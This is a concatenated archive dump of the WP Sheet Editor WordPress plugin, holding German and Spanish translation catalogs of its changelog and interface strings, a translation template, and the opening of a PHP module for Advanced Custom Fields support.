FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - BENUTZERDEFINIERTE BEITRAGSTYPEN - Beitragstypen, die nach der " "Registrierung der Einstellungsseite erstellt wurden, sind nicht erlaubt, " "Beitragstypen, die durch das \"types\"-Plugin hinzugefügt wurden, werden " "ignoriert.

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMELN - Es werden keine Dezimalzahlen akzeptiert.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - BENUTZERDEFINIERTE SPALTEN - Es ist nicht möglich, die erste Spalte " "zu entfernen.

" #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Bei der Bearbeitung von Attributen werden \"sichtbar" "\" und \"ist Taxonomie\" als wahr gekennzeichnet und der definierte Wert " "ignoriert.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMELN - Es ist nicht möglich, etwas durch nichts zu ersetzen " "(einen Wert zu entfernen).

" #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FORMELN - Datei-Spalten speichern keine Dateien, wenn die URL mit " "Abfrage-Strings verwendet wird

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - Popup-Fenster zum Herunterladen von Dateien zeigt " "zuvor bearbeitete Werte nicht an

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - SICHTBARKEIT VON SPALTEN - Drag & Drop funktioniert nicht bei " "Popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FORMELN - Falsche Formel für die Option \"Abnahme um %\" generiert." "

" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NEU - WOOCOMMERCE - Jetzt berechnen wir die Gesamtbestandseinheiten und " "den Gesamtbestandspreis aller Produkte im Arbeitsblatt und zeigen sie in der " "Statusleiste an.

" #: wp-sheet-editor.php:72 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Bitte aktualisiere das WP Sheet Editor Plugin und alle seine Erweiterungen " "auf die neueste Version. Die Eigenschaften des Plugins \"" #: wp-sheet-editor.php:145 msgid "My license" msgstr "Meine Lizenz" lang/vg_sheet_editor_posts-es_PR.mo000064400000026437147600365160013456 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ezRhN v;4Jp~R:NL)s#et_dYd m ^,!!"Z#2$$Z%vV&W&f%''(W")z)r!*q*P+$W+ |++-,Y=,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es_PR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_VE.po000064400000032041147600365160013436 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_VE\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts.pot000064400000002620147600365160012623 0ustar00# Copyright (C) 2022 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor - Post Types plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor - Post Types 2.24.22-beta.2\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet\n" "Last-Translator: FULL NAME \n" "Language-Team: LANGUAGE \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: 2022-12-14T10:44:09+00:00\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "X-Generator: WP-CLI 2.4.0\n" #. Plugin Name of the plugin msgid "WP Sheet Editor - Post Types" msgstr "" #. Plugin URI of the plugin msgid "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" #. Description of the plugin msgid "Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress." msgstr "" #. Author of the plugin msgid "WP Sheet Editor" msgstr "" #. Author URI of the plugin msgid "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" #: wp-sheet-editor.php:72 msgid "Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin \"" msgstr "" #: wp-sheet-editor.php:148 msgid "My license" msgstr "" modules/acf/index.php000064400000000000147600365160010563 0ustar00modules/acf/acf.php000064400000166146147600365160010235 0ustar00is_acf_plugin_active() ) { return; } add_action( 'vg_sheet_editor/editor/register_columns', array( $this, 'register_columns' ) ); // Checkbox add_filter( 'vg_sheet_editor/infinite_serialized_column/column_settings', array( $this, 'filter_checkbox_column_settings' ), 20, 3 ); add_filter( 'vg_sheet_editor/infinite_serialized_column/save_value_in_full_array', array( $this, 'filter_save_checkbox_from_serialized_class' ), 10, 9 ); // Map add_filter( 'vg_sheet_editor/infinite_serialized_column/update_value', array( $this, 'filter_map_data_for_saving' ), 10, 3 ); // Save ACF field key add_action( 'vg_sheet_editor/save_rows/before_saving_cell', array( $this, 'save_acf_field_key' ), 10, 6 ); add_action( 'vg_sheet_editor/formulas/execute_formula/after_sql_execution', array( $this, 'save_acf_field_key_after_sql_formula' ), 10, 5 ); // Repeater fields add_filter( 'vg_sheet_editor/provider/post/update_item_meta', array( $this, 'sync_repeater_main_field_count' ), 10, 3 ); add_filter( 'vg_sheet_editor/provider/user/update_item_meta', array( $this, 'sync_repeater_main_field_count' ), 10, 3 ); // Group fields add_filter( 'vg_sheet_editor/provider/post/update_item_meta', array( $this, 'sync_group_field' ), 10, 3 ); add_filter( 'vg_sheet_editor/provider/user/update_item_meta', array( $this, 'sync_group_field' ), 10, 3 ); // Flexible content fields add_action( 'vg_sheet_editor/save_rows/before_saving_rows', array( $this, 'register_flexible_content_hooks_for_saving' ) ); add_action( 'vg_sheet_editor/formulas/execute_formula/before_execution', array( $this, 'register_flexible_content_hooks_for_saving' ) ); add_action( 'vg_sheet_editor/get_rows/after_query', function() { if ( empty( $this->flexible_content_keys ) ) { return; } add_filter( 'get_post_metadata', array( $this, 'get_flexible_content_field_value' ), 10, 4 ); add_filter( 'get_user_metadata', array( $this, 'get_flexible_content_field_value' ), 10, 4 ); add_filter( 'vgse_sheet_editor/provider/post/prefetch/meta_keys', array( $this, 'remove_flexible_content_columns_from_prefetch' ), 10, 2 ); } ); add_filter( 'vg_sheet_editor/serialized_addon/column_settings', array( $this, 'exclude_keys_from_serialized_columns' ), 10, 5 ); add_filter( 'vg_sheet_editor/options_page/options', array( $this, 'add_settings_page_options' ) ); } public function register_flexible_content_hooks_for_saving() { if ( empty( $this->flexible_content_keys ) ) { return; } add_filter( 'update_post_metadata', array( $this, 'sync_flexible_content_main_layouts_list' ), 10, 4 ); add_filter( 'update_user_metadata', array( $this, 'sync_flexible_content_main_layouts_list' ), 10, 4 ); } /** * Add fields to options page * @param array $sections * @return array */ public function add_settings_page_options( $sections ) { $sections['misc']['fields'][] = array( 'id' => 'acf_show_checkboxes_multi_dropdown', 'type' => 'switch', 'title' => __( 'ACF: Show checkboxes as multi select dropdowns?', 'vg_sheet_editor' ), 'desc' => __( 'By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.', 'vg_sheet_editor' ), ); return $sections; } public function sync_group_field( $value, $id, $key ) { if ( empty( $this->group_keys ) || strpos( $key, '_' ) === 0 ) { return $value; } $group_key = null; foreach ( $this->group_keys as $raw_repeater_key => $subfields ) { if ( in_array( $key, $subfields, true ) ) { $group_key = $raw_repeater_key; break; } } if ( empty( $group_key ) ) { return $value; } remove_filter( 'vg_sheet_editor/provider/post/update_item_meta', array( $this, __FUNCTION__ ) ); remove_filter( 'vg_sheet_editor/provider/user/update_item_meta', array( $this, __FUNCTION__ ) ); VGSE()->helpers->get_current_provider()->update_item_meta( $id, $group_key, '' ); add_filter( 'vg_sheet_editor/provider/post/update_item_meta', array( $this, __FUNCTION__ ), 10, 3 ); add_filter( 'vg_sheet_editor/provider/user/update_item_meta', array( $this, __FUNCTION__ ), 10, 3 ); return $value; } public function sync_repeater_main_field_count( $value, $id, $key ) { global $wpdb; if ( empty( $this->repeater_keys ) || strpos( $key, '_' ) === 0 ) { return $value; } $repeater_key = null; $regex = null; foreach ( $this->repeater_keys as $raw_repeater_key => $subfields ) { foreach ( $subfields as $repeater_key_regex ) { if ( preg_match( $repeater_key_regex, $key ) ) { $repeater_key = $raw_repeater_key; $regex = $repeater_key_regex; break; } } if ( $repeater_key ) { break; } } if ( empty( $repeater_key ) ) { return $value; } $mysql_regex = str_replace( array( '/', '\d' ), array( '', '[0-9]' ), $regex ); $meta_table_name = VGSE()->helpers->get_current_provider()->get_meta_table_name(); $meta_table_id_column = VGSE()->helpers->get_current_provider()->get_meta_table_post_id_key(); $sql = "SELECT meta_key FROM $meta_table_name WHERE meta_key RLIKE %s AND " . esc_sql( $meta_table_id_column ) . ' = %d ORDER BY meta_key DESC LIMIT 1'; $highest_key = $wpdb->get_var( $wpdb->prepare( $sql, '^' . $mysql_regex, $id ) ); if ( empty( $highest_key ) ) { $highest_key = $key; } $count_regex = str_replace( '\d+', '(\d+)', $regex ); $repeater_count = (int) preg_replace( $count_regex, '$1', $highest_key ); $key_index_count = (int) preg_replace( $count_regex, '$1', $key ); if ( $repeater_count < $key_index_count ) { $repeater_count = $key_index_count; } // Subfields index starts from 0, but the parent count starts from 1 $repeater_count++; remove_filter( 'vg_sheet_editor/provider/post/update_item_meta', array( $this, __FUNCTION__ ), 10 ); remove_filter( 'vg_sheet_editor/provider/user/update_item_meta', array( $this, __FUNCTION__ ), 10 ); VGSE()->helpers->get_current_provider()->update_item_meta( $id, $repeater_key, $repeater_count ); add_filter( 'vg_sheet_editor/provider/post/update_item_meta', array( $this, __FUNCTION__ ), 10, 3 ); add_filter( 'vg_sheet_editor/provider/user/update_item_meta', array( $this, __FUNCTION__ ), 10, 3 ); return $value; } public function get_flexible_content_field_data_from_wpse_key( $key ) { return isset( 